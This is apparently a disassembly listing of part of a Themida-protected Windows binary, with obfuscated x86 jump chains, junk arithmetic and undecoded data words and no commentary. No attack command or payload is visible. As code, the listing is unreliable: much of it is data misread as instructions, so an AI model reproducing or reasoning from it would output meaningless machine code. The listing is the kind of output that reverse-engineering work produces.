		dd 89240489h, 8E50E9E0h, 1CB8FFFFh, 0C11C0C68h,	2B0D06E0h
		dd 50A9E3Eh, 3AB50C1Ah,	1719BD55h, 0BA5249D6h, 52D57110h
		dd 2E10C281h, 0F2810E03h, 1091368Fh, 325CF281h,	22E9402Ch
		dd 89FFFFB7h, 0EC83243Ch, 24148904h, 0C281E289h, 4, 0E904EA83h
		dd 0FFFFFA6Fh, 0DBEF181h, 0D9F71A2Eh, 7D2AF181h, 0F1812994h
		dd 8E81CDC1h, 0EDE9CB01h, 8900000Eh, 942BE9CDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591FF6:				; CODE XREF: Themida_:005898EAj
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_59230C
; ---------------------------------------------------------------------------


loc_591FFF:				; CODE XREF: Themida_:0058DA7Bj
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58F162
; ---------------------------------------------------------------------------
aYs2		db 'Yé*2',0
		align 2
		dw 2BE9h
		dd 5DFFFF74h, 6804EF83h, 6545h,	0E9243C89h, 3B9h, 81241C8Bh
		dd 4C4h, 0A2E95600h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592057:				; CODE XREF: Themida_:00594D39j
		mov	esp, [esp]
		push	edi
		mov	edi, 14464B5Ch
		jmp	loc_59265F
; ---------------------------------------------------------------------------


loc_592065:				; CODE XREF: Themida_:0058BE84j
		mov	esi, 0DFE598Dh
		jmp	loc_5953C3
; ---------------------------------------------------------------------------
		db 89h
		dd 0BC682414h, 0E9000029h, 0FFFFC800h, 0E9CE0159h, 0FFFFD44Ch
		dd 4C481h, 0C4830000h, 73D0E904h, 0EA81FFFFh, 440F2150h
		dd 3EE9585Eh
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59209F:				; CODE XREF: Themida_:005899EAj
		push	edi
		jmp	loc_592D4C
; ---------------------------------------------------------------------------


loc_5920A5:				; CODE XREF: Themida_:00590DDDj
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	59B1h
		jmp	loc_58C9E7
; ---------------------------------------------------------------------------


loc_5920BA:				; CODE XREF: Themida_:005922A6j
		sub	edx, ecx
		pop	ecx
		add	edx, 36812A06h
		sub	edx, 13E2422Fh
		add	edx, edi
		add	edx, 13E2422Fh
		sub	edx, 36812A06h
		push	eax
		mov	eax, 33E816CDh
		jmp	loc_59056E
; ---------------------------------------------------------------------------
		dw 0F180h
		dd 4EC8162h, 89000000h,	57B7241Ch, 59E9F928h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5920F7:				; CODE XREF: Themida_:00592392j
		mov	ebx, 372A481Ch
		add	eax, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	esi
		push	302Dh
		mov	[esp], edx
		mov	edx, 74D5532Ch
		jmp	loc_5925A7
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 57000000h, 3A5BB53h,	0DEE957A7h, 0E9FFFF7Eh,	0FFFF7332h
		dd 5027ECBEh, 8EEE8137h, 0E90F5903h, 254Ah
; ---------------------------------------------------------------------------


loc_592140:				; CODE XREF: Themida_:0058AA88j
		pop	esp
		mov	[esp], esi
		jmp	loc_59038A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 1000000h, 0C5F9E9F0h, 0B050FFFFh, 2E8C05Ah, 0B353C8FEh
		dd 85EB800Ch, 403E9h, 0E9D70000h, 0FFFFA4F1h, 0C581E589h
		dd 4, 4ED81h, 2C870000h, 2118E924h, 34FF0000h, 24348B24h
		dd 4C481h, 0A1680000h, 8900001Fh, 0E589242Ch, 4C581h, 0F2E90000h
		dd 0C1FFFFF6h, 0F58106EDh, 2D2D28Ch, 0E91C6F21h, 0FFFF9252h
		dd 68243C89h, 3D745E84h, 5223685Fh, 4BE90000h, 81FFFFF2h
		dd 5629CCF2h, 1E8B0571h, 0D0293DD7h, 204DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5921DD:				; CODE XREF: Themida_:0059419Fj
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_589462
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 885B0000h, 0E95A2857h, 0FFFF7266h
; ---------------------------------------------------------------------------


loc_5921FC:				; CODE XREF: Themida_:00590537j
		mov	eax, 1C056CC6h
		sub	esi, eax
		jmp	loc_58A84E
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3830000h, 241C8704h, 8F24248Bh, 0E95C2404h
		dd 0FFFFD268h
; ---------------------------------------------------------------------------


loc_592220:				; CODE XREF: Themida_:0058CC26j
		mov	[esp], ebp
		push	0A7Dh
		mov	[esp], ebx
		mov	ebp, [esp]
		add	esp, 4
		push	60DFh
		mov	[esp], ebp
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_59030C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 1CD36659h, 0BE99C24h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592257:				; CODE XREF: Themida_:0058F86Fj
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		push	edi
		mov	edi, 2C3A3B24h
		shr	edi, 3
		push	eax
		jmp	loc_58E208
; ---------------------------------------------------------------------------
		db 0C0h, 0E6h, 8
		dd 0FFBF68E9h, 0E90159FFh, 2BE565Dh, 1000000h, 9E05E9F1h
		dd 0D828FFFFh, 0D12C4A2Ch, 0B753F604h, 5BF800D0h, 1840E9h
		db 0
; ---------------------------------------------------------------------------


loc_592299:				; CODE XREF: Themida_:00589DFEj
		pop	edi
		push	ecx
		mov	ecx, 616B023Ch
		xor	ecx, 528314F1h
		jmp	loc_5920BA
; ---------------------------------------------------------------------------
aPEZvC7		db 'P¸E',27h,'zv-C7:',0
		dw 9B35h
		dd 0F7753B6Eh, 89FEE9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5922C2:				; CODE XREF: Themida_:0058BEA0j
		shl	edi, 5
		jmp	loc_593366
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 0C3805869h, 0C0B60FF7h, 525E5456h, 1FA768h, 241C8900h
		dd 0A74B25BBh, 0E381436Eh, 15125374h, 5FD8F381h, 34E91E3Ah
		dd 29FFFFF9h, 8524E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5922FE:				; CODE XREF: Themida_:0058BA3Fj
		add	ecx, 2F5D2450h
		pop	edx
		and	eax, ecx
		jmp	loc_5918CF
; ---------------------------------------------------------------------------


loc_59230C:				; CODE XREF: Themida_:00591FFAj
		xor	ecx, 0C1EA45D7h
		add	eax, ecx
		pop	ecx
		add	eax, 45522BD1h
		push	dword ptr [esp]
		pop	edi
		push	edx
		jmp	loc_58B0F3
; ---------------------------------------------------------------------------
		dd 8904EC83h, 4832424h,	148B0424h, 4C48124h, 55000000h
		dd 3622B850h, 0D8F77546h, 0E904E0C1h, 0FFFFEB39h, 5371EE81h
		dd 148B1EA4h, 4C48324h,	10E9F001h, 80FFFFDDh, 0EB806CE3h
		dd 3E3C0C3h, 6CB15166h,	96E9CB28h, 89FFFFB6h, 243C8BF9h
		dd 4C481h, 0BA520000h, 8CF7BE3h, 0B850D2F7h, 38D118C4h
		dd 0B2E9C201h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59238F:				; CODE XREF: Themida_:0058F1B6j
		pop	ebp
		pop	eax
		push	ebx
		jmp	loc_5920F7
; ---------------------------------------------------------------------------


loc_592397:				; CODE XREF: Themida_:0058A7E5j
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_593BC4
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0AAh
		dd 0E967B514h, 0FFFFF837h, 8904EC83h, 88E92414h, 0FFFFA7h
		dd 1150E9D8h, 58540000h, 8904EC83h, 8DBE2434h, 5032FF41h
		dd 5E2EC8B8h, 3D054832h, 0E9E5942Bh, 0FFFF7A6Ah, 8904EC83h
		dd 2DB9240Ch, 5626BD4Dh, 0BEh, 87CE2900h, 0A5E95EF1h, 52FFFFC2h
		dd 0AA0E9h, 2474FF00h, 0B85BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59240A:				; CODE XREF: Themida_:0058D13Ej
		mov	edi, 0E9F5CDB9h
		jmp	loc_591AA5
; ---------------------------------------------------------------------------
		dd 756A8BBEh, 89EE817Ch, 817C756Ah, 645A0DEAh, 50F2010Dh
		dd 645A0DB8h, 8BC2010Dh, 0C4832404h, 14875E04h,	24248B24h
		dd 24040966h, 701CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592446:				; CODE XREF: Themida_:00594D47j
		pop	ebp
		push	12E0h
		jmp	loc_58E12F
; ---------------------------------------------------------------------------
		db 0E9h, 0Ch, 70h
		dd 6652FFFFh, 0E91CFF68h, 74h, 9568h, 24248900h, 4240481h
		dd 8B000000h, 0C483240Ch, 4B85004h, 0E9000000h,	0FFFF929Bh
		dd 348BF501h, 4C48324h,	0FFAFB3E9h, 2434FFFFh, 4C48358h
		dd 0FFBD8AE9h, 48B66FFh, 5B545324h, 0D1BA5250h,	0F74A1212h
		dd 0EA8142D2h, 0B5EDED2Bh, 1804E9h
		db 0
; ---------------------------------------------------------------------------


loc_5924B5:				; CODE XREF: Themida_:00589A50j
		add	esp, 4
		pop	ebx
		jmp	loc_5943D3
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 0E9000000h, 0FFFF8F1Ah, 0E914EE80h, 0FFFFB26Bh, 240C8966h
		dd 0CA8880B1h, 0EAC05966h, 66DAF608h, 23F1E950h, 0F5010000h
		dd 5085C581h, 0BE56752Fh, 71D128C0h, 0E95EF529h, 0FFFFDA9Bh
		dd 12D5EB81h, 0DD012FABh, 2C875B5Bh, 13E95C24h,	81FFFFBAh
		dd 4C2h, 4C28300h, 5C241487h, 133F68h, 243C8900h, 505E9h
		db 0
; ---------------------------------------------------------------------------


loc_59252D:				; CODE XREF: Themida_:0058AB95j
		push	eax
		mov	eax, ebx
		push	eax
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58A910
; ---------------------------------------------------------------------------
		db 54h,	5Bh, 0E9h
		dd 152Eh, 875BDF31h, 87D1F7CFh,	81C781CFh, 0E9691E27h
		dd 0FFFFBE47h, 5C242C87h, 0E9241487h, 0FFFF85B0h, 0EBC0DBF6h
		dd 1CF38002h, 0FFB7A8E9h, 0BC0458FFh, 0FFC2ADE9h, 243489FFh
		dd 32B6E954h, 8B660000h, 0EC81240Ch, 4,	0E9240C89h, 156Ch
		dd 0BF665752h, 0B9E926B8h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5925A7:				; CODE XREF: Themida_:00592114j
		mov	esi, edx
		jmp	loc_591D8A
; ---------------------------------------------------------------------------
		dw 0E9ADh
		dd 20F7h, 4B9h,	8BCB0100h, 73E9240Ch, 89FFFF73h, 4832424h
		dd 54E90424h, 52FFFFA0h, 0DEF640B6h, 0C0F5B151h, 0F18004E9h
		dd 2A8CE94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5925E2:				; CODE XREF: Themida_:0059260Ej
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	fs:[edx], al
		jmp	loc_589462
; ---------------------------------------------------------------------------


loc_592600:				; CODE XREF: Themida_:005916D1j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 3FAF7817h
		sub	ecx, ebx
		jmp	loc_5925E2
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 0E657E900h, 0B951FFFFh, 48FF0D2Ah, 775BF181h
		dd 0C981249Ah, 7003157Ah, 3D57E981h, 0F1817273h, 66493450h
		dd 8C22E950h, 0C681FFFFh, 278B7D1Dh, 8105EEC1h,	3451A2CEh
		dd 7FE68139h, 0C151905Bh, 6DE908EEh
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59265F:				; CODE XREF: Themida_:00592060j
		add	eax, edi
		pop	edi
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_58DF01
; ---------------------------------------------------------------------------
		db 89h
		dd 0BF5751E7h, 6A894C9Ah, 76B36AB9h, 5FF90195h,	8359CF01h
		dd 0C8904ECh, 2B924h, 0CF290000h, 0FFAAC7E9h, 81E789FFh
		dd 4C7h, 4EF8100h, 87000000h, 248B243Ch, 241C8924h, 0FF7BABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5926B1:				; CODE XREF: Themida_:0058D566j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_58A1E0
; ---------------------------------------------------------------------------
aQhQ		db 'Qh¼q',0
		align 10h
		dd 2A4E9h, 3E18000h, 5066C1FEh,	0E120BEB4h, 0E9535866h
		dd 0FFFFAA33h, 28AAB753h, 0C7285BF8h, 0FFF52AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5926E5:				; CODE XREF: Themida_:0058FBFDj
		sub	ebp, 19C22F5Dh
		sub	ebp, ebx
		add	ebp, 19C22F5Dh
		jmp	loc_59394E
; ---------------------------------------------------------------------------
		dd 2AFEE81h, 0F7896670h, 0A86CE95Eh, 0BF57FFFFh, 4D9D23C7h
		dd 57534F4Fh, 0FFBEF8E9h, 4BEFFh, 0C5810000h, 23051566h
		dd 0ED81F501h, 23051566h, 242C875Eh, 4EC835Ch, 50241C89h
		dd 8894B151h, 0E8C059C8h, 2E8C005h, 0FFE6BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592745:				; CODE XREF: Themida_:0058E210j
		inc	eax
		and	eax, 108359ABh
		shl	eax, 7
		shl	eax, 6
		sub	eax, 0FF710143h
		or	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59152E
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 42A76295h, 1F63F181h, 0F18133B9h, 68AA606Fh,	81595A51h
		dd 0D8C51CC2h, 57EF81D7h, 811CEC3Dh, 56548AC7h,	0A1C78140h
		dd 10EB85Dh, 0A1EF81D7h, 500EB85Dh, 56548AB8h, 58C72940h
		dd 3D57C781h, 99E91CECh, 29FFFF95h, 0F1BE56C2h,	8167BA44h
		dd 0AA3F5BF6h, 50C2817Dh, 1440F21h, 0F8C8E9F2h,	0C181FFFFh
		dd 2, 8B240C87h, 0F662424h, 9C2404BBh, 0FF6C81E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5927E1:				; CODE XREF: Themida_:0058B618j
		push	edx
		jmp	loc_589FC0
; ---------------------------------------------------------------------------
		db 0B8h
		dd 19AF4D22h, 8B58C101h, 8951243Ch, 4C181E1h, 83000000h
		dd 0C8704C1h, 0BE565C24h, 2, 0FFDD37E9h, 814E5DFFh, 0D460ACCEh
		dd 0AEBD5560h, 817F760Bh, 4C22ABC5h, 81D5F76Fh,	880BADCDh
		dd 55F58162h, 14DF5DFh,	55E95DEEh
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592837:				; CODE XREF: Themida_:0058AF5Ej
		push	ebx
		mov	edi, [esp]
		add	esp, 4
		push	5A63h
		mov	[esp], edi
		jmp	loc_58E45A
; ---------------------------------------------------------------------------


loc_59284E:				; CODE XREF: Themida_:00590A11j
		push	ecx
		jmp	loc_58995B
; ---------------------------------------------------------------------------
		dd 4055854h, 0E9000000h, 0F98h,	240C895Ch, 6E9BEB1h, 51FFFF80h
		dd 0CA89F189h, 3165E959h, 0C5810000h, 4, 0E9242C87h, 0FFFF7320h
		dd 0E9241489h, 0FFFFFEDAh
; ---------------------------------------------------------------------------


loc_59288C:				; CODE XREF: Themida_:0058F4E5j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	esi, 4
		jmp	loc_5956DF
; ---------------------------------------------------------------------------
		dw 0EB01h
		dd 0C8ECE95Dh, 6168FFFFh, 89000061h, 0BB241Ch, 9000002h
		dd 1C8B1C5Fh, 0EC835724h, 9A5AE904h, 1489FFFFh,	7EE95324h
		dd 4700000Ch, 1E3BC781h, 0EEE9BAE9h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5928D7:				; CODE XREF: Themida_:00590EB1j
		or	esi, edi
		pop	edi
		push	edi
		mov	edi, 73661775h
		sub	esi, edi
		jmp	loc_5955D0
; ---------------------------------------------------------------------------
		db 58h
		dd 4C181h, 0C330000h, 240C3124h, 8B240C33h, 0C4812424h
		dd 4, 9C240421h, 0FFF822E9h, 4EC83FFh, 0FF7D51E9h, 14335FFFh
		dd 24143124h, 5C241433h, 0E9C8AF0Fh, 18FFh, 240C8B66h
		dd 0C8B5451h, 0BA80E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592932:				; CODE XREF: Themida_:0058C818j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58AA6E
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 240C895Ch, 0FF6B19E9h, 51F301FFh, 0D326D0B9h, 59CB2903h
		dd 0FFBAE0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592959:				; CODE XREF: Themida_:00592E34j
		shr	eax, 2
		sub	eax, 5ECA534Ch
		shr	eax, 5
		jmp	loc_58A53A
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 7312E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592982:				; CODE XREF: Themida_:0058D243j
		mov	[esp], ebp
		mov	ebp, 54A12CD3h
		jmp	loc_58F7A5
; ---------------------------------------------------------------------------


loc_59298F:				; CODE XREF: Themida_:00593772j
		shl	edx, 1
		push	19Ah
		mov	[esp], ebx
		push	edi
		mov	edi, 0FFFFFFFFh
		push	esi
		push	eax
		jmp	loc_589E03
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 4EC835Ch
		dd 0CA8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5929C1:				; CODE XREF: Themida_:0058BBE8j
		xor	[esp+4], ebx
		pop	ebx
		pop	eax
		jmp	loc_594D3E
; ---------------------------------------------------------------------------


loc_5929CC:				; CODE XREF: Themida_:00595447j
		add	ecx, edi
		push	edi
		mov	edi, 6F225898h
		sub	ecx, edi
		pop	edi
		add	ecx, 45195F11h
		add	ecx, 72E52118h
		jmp	loc_5913D8
; ---------------------------------------------------------------------------


loc_5929E8:				; CODE XREF: Themida_:0058FCA8j
		mov	esp, [esp]
		shr	ecx, 2
		push	17C2h
		mov	[esp], ebx
		jmp	loc_58B60A
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0E9F42880h, 0FFFF733Fh, 0E932FF64h, 0FFFF6A56h
; ---------------------------------------------------------------------------


loc_592A0C:				; CODE XREF: Themida_:0058C2D3j
		dec	eax
		not	eax
		jmp	loc_58D115
; ---------------------------------------------------------------------------
		dd 0E9F3895Ah, 0FFFF84C2h, 0E9240431h, 0FFFFE716h
; ---------------------------------------------------------------------------


loc_592A24:				; CODE XREF: Themida_:0058C5C3j
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_595870
; ---------------------------------------------------------------------------
aIchs		db '‰çhè-',0
		dd 0D422E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592A3E:				; CODE XREF: Themida_:0058CF99j
		push	ecx
		mov	cl, al
		mov	dh, cl
		pop	ecx
		pop	eax
		shr	dh, 3
		push	ebx
		mov	bl, 68h
		push	0
		sub	[esp], bl
		mov	bl, [esp]
		add	esp, 4
		neg	bl
		not	bl
		inc	bl
		add	bl, 6Dh
		xor	bl, 17h
		jmp	loc_58DBA2
; ---------------------------------------------------------------------------
		dw 6468h
		dd 0E900007Bh, 0FFFFB340h, 8152C289h, 297E242Ch, 0E9582953h
		dd 0FFFFC194h, 8A240C28h, 0A2E9240Ch, 0BBFFFF99h, 4B355809h
		dd 0F168D3F7h, 8900005Ah, 73BF243Ch, 0E933470Eh, 0FFFFE177h
		dd 0A2E932FFh, 66FFFFF9h, 82E932FFh, 0BFFFFFA7h, 4, 4247C01h
		dd 0EC815B5Fh, 4, 0B8240489h, 3E8046Fh,	3A17E435h, 0B35BE941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592ADA:				; CODE XREF: Themida_:0058E5D7j
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		shl	edi, 5
		xor	edi, 60EBC2DBh
		add	esi, edi
		pop	edi
		jmp	loc_592D6C
; ---------------------------------------------------------------------------
		db 29h
		dd 0E9575EF1h, 1672h
; ---------------------------------------------------------------------------


loc_592AFC:				; CODE XREF: Themida_:005907D5j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 466D4EE6h
		jmp	loc_594714
; ---------------------------------------------------------------------------
		db 83h
		dd 0E92904C4h, 0FF9991E9h, 58C528FFh, 0F605EDC0h, 86B353D5h
		dd 0F691C380h, 19C380D3h, 525BDD00h, 0E9525166h, 0FFFFB439h
; ---------------------------------------------------------------------------


loc_592B38:				; CODE XREF: Themida_:0059155Aj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59548E
; ---------------------------------------------------------------------------
		dw 5F04h
		dd 0D000912Ch, 0B986E953h, 0E95FFFFFh, 0FFFFC56Ah, 4C781h
		dd 0D8E90000h, 89FFFFBDh, 0AED8E9E2h, 0F681FFFFh, 35F83268h
		dd 0FF84D7E9h, 1C77FFFFh, 0D259669Dh, 0E99C241Ch, 0FFFF68DEh
		dd 4C681h, 0C6830000h, 24348702h, 0FFBBF8E9h, 0F2895EFFh
		dd 0FA01595Eh, 7ED6E953h, 34FFFFFFh, 0C4815B24h, 4, 8B24048Fh
		dd 0F662424h, 0EC81C8B6h, 4, 89242C89h,	685750E5h, 0F0371FEh
		dd 8ECF815Fh, 0E9694147h, 2909h, 6F14E981h, 2C8B3BC6h
		dd 4C48324h, 8904EC83h,	4BA2414h, 0E9000000h, 0EFEh, 9919CABDh
		dd 0B187E95Bh, 0E289FFFFh, 4C281h, 0EA810000h, 4, 0E9241487h
		dd 0FFFF694Ah
; ---------------------------------------------------------------------------


loc_592C10:				; CODE XREF: Themida_:0058A3ABj
		push	edi
		xor	dword ptr [esp], 3CC610DAh
		jmp	loc_58BDC8
; ---------------------------------------------------------------------------
		db 83h,	0EFh, 4
		dd 2474FF57h, 48F5F04h,	0B14AE924h, 77FFFFFFh, 59669D1Ch
		dd 9C2414D2h, 0FF6825E9h, 4C481FFh, 51000000h, 2F02E952h
		dd 15E0000h, 2434FFFDh,	20C1E9h, 0FD685700h, 5F0C4047h
		dd 83CC781h, 0FA3102FFh, 81243C8Bh, 4C4h, 0FC90B00h, 66484h
		dd 17F86800h, 0DAE90000h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592C7F:				; CODE XREF: Themida_:00590F52j
		xor	esi, 6AFF28CEh
		xor	esi, 99312C22h
		xor	edi, esi
		pop	esi
		jmp	loc_590A08
; ---------------------------------------------------------------------------


loc_592C93:				; CODE XREF: Themida_:0058A20Aj
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_595459
; ---------------------------------------------------------------------------
		db 1, 0C6h, 58h
		dd 1497BA52h, 0F2817C8Ch, 653E5430h, 0F281DAF7h, 7D2B74BEh
		dd 4534CA81h, 0BB535177h, 77F14D0h, 5FDB850h, 0BF2D4224h
		dd 35656E43h, 1CBC2957h, 2D03E8C1h, 0A6E02DAEh,	8158C301h
		dd 0E525C0CBh, 46C38151h, 9BBBFEBh, 9FE95BDAh, 0FFFFFF68h
		dd 0F8E92434h, 66FFFFD1h, 5624148Bh, 0C681E689h, 4, 0FFB98BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592D0D:				; CODE XREF: Themida_:0059304Ej
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dd 0FF674DE9h, 0F7FE87FFh, 31FE31D7h, 0F0A6E9F7h, 0DBBEFFFFh
		dd 8117F203h, 1312F3EEh, 76E94E76h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_592D33:				; CODE XREF: Themida_:0058F7D5j
		sub	dword ptr [esp+4], 3EE5083Bh
		push	ebp
		jmp	loc_594363
; ---------------------------------------------------------------------------


loc_592D41:				; CODE XREF: Themida_:00591CE4j
		push	eax
		push	18DC1796h
		jmp	loc_58D82B
; ---------------------------------------------------------------------------


loc_592D4C:				; CODE XREF: Themida_:005920A0j
		push	1D24h
		mov	[esp], edx
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 2B05503Eh
		shr	ecx, 5
		neg	ecx
		jmp	loc_594405
; ---------------------------------------------------------------------------


loc_592D66:				; CODE XREF: Themida_:0058B130j
		pop	esp
		jmp	loc_5913CF
; ---------------------------------------------------------------------------


loc_592D6C:				; CODE XREF: Themida_:00592AEEj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 418B5F76h
		sub	esi, 536C4898h
		add	esi, ecx
		add	esi, 536C4898h
		pop	ecx
		jmp	loc_58C6E0
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFF728E9h, 0E9CB01FFh, 0FFFFA1FEh, 51241C89h, 0FF79D3E9h
		dd 0E3EE81FFh, 0E9A1DEF0h, 0FFFFE512h, 0E902E5C1h, 0E62h
		dd 0C5880FB0h, 0FFA083E9h, 81D8F6FFh, 4ECh, 240C8900h
		dd 88BBB050h, 0C5FE58C5h, 0F580D5F6h, 47E580E0h, 0FFE0BDE9h
		dd 242489FFh, 4240481h,	59000000h, 0D088E950h, 1C89FFFFh
		dd 4EC8324h, 0BF243C89h, 376A2442h, 4371CF81h, 0BB530FC1h
		dd 656548E7h, 0FFF737E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592E15:				; CODE XREF: Themida_:0058CE60j
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_58A997
		push	dword ptr [edi+28h]
		jmp	loc_594BAD
; ---------------------------------------------------------------------------


loc_592E2B:				; CODE XREF: Themida_:0058D26Dj
		mov	[esp], ecx
		push	eax
		mov	eax, 76745674h
		jmp	loc_592959
; ---------------------------------------------------------------------------
		db 31h,	0DAh, 5Bh
		dd 0FFBB99E9h, 0C1EAD1FFh, 0DAF702EAh, 6D4CEA81h, 0EC830A5Ah
		dd 241C8904h, 0FF8502E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_592E59:				; CODE XREF: Themida_:0058BA91j
		or	edi, 3A91EE7h
		shl	edi, 6
		shl	edi, 7
		sub	edi, 65410B9Eh
		push	esi
		jmp	loc_58ECCC
; ---------------------------------------------------------------------------
		db 5Dh,	5, 4
		dd 50000000h, 42474FFh,	24048F58h, 6824248Bh, 1E6Fh, 1EBFE9h
		dd 0E7895700h, 4C781h, 0EF830000h, 243C8704h, 0FFC141E9h
		dd 0E9E289FFh, 1015h, 0E9241C29h, 0FFFFAABEh, 5159E828h
		dd 0C82808B1h, 4D80059h, 0CE9AE908h, 0C801FFFFh, 3BA5259h
		dd 0C1300011h, 0C28302E2h, 0DAF28101h, 0E930F306h, 0FFFF82C6h
		dd 4EE95559h, 0FFFFFFD7h, 0E9042474h, 0FFFF9101h, 4EB81h
		dd 1C870000h, 0A3685C24h, 0E900000Eh, 0FFFFD0E9h, 0A5ECE95Ch
		dd 8B66FFFFh, 0AAE92404h, 81FFFFCCh, 4F390CF2h,	0CABF5778h
		dd 293D2433h, 8888E9FAh, 405FFFFh, 0E9000000h, 0FFFFCAC6h
; ---------------------------------------------------------------------------


loc_592F2C:				; CODE XREF: Themida_:0058EFD5j
		dec	esi
		dec	esi
		add	esi, 639D3C00h
		add	ebx, 1B390ABCh
		sub	ebx, esi
		sub	ebx, 1B390ABCh
		pop	esi
		push	edi
		mov	edi, 521C5131h
		jmp	loc_59082C
; ---------------------------------------------------------------------------
		dw 0CBFEh
		dd 283DF380h, 3BE95BD8h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592F5B:				; CODE XREF: Themida_:0058CC96j
		mov	dh, ch
		pop	ecx
		jmp	loc_59065D
; ---------------------------------------------------------------------------


loc_592F63:				; CODE XREF: Themida_:005931D2j
		push	edx
		not	dword ptr [esp]
		pop	edx
		sub	edx, 0FFFFFFFFh
		inc	edx
		xchg	edi, edx
		not	edi
		jmp	loc_594DBE
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0F66F1F6h, 6866CCB6h, 89663AB7h, 0F66240Ch, 5166C8B6h
		dd 64D0E99Ch, 4ACFFFFh,	85E9520Fh
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_592F9B:				; CODE XREF: Themida_:00593964j
		push	eax
		jmp	loc_58A5E6
; ---------------------------------------------------------------------------
		db 59h,	57h, 89h
		dd 5FFB89EFh, 0FFA041E9h, 0EFC159FFh, 45F78105h, 515CFB08h
		dd 0FFD108E9h, 59C800FFh, 6C4E951h, 0E9590000h,	0FFFF7C82h
		dd 0CC2893B1h, 0FF892EE9h, 449CB9FFh, 0D9F72142h, 7112E181h
		dd 58E90AA0h, 89FFFFC4h, 15DD68E3h, 14890000h, 7291BA24h
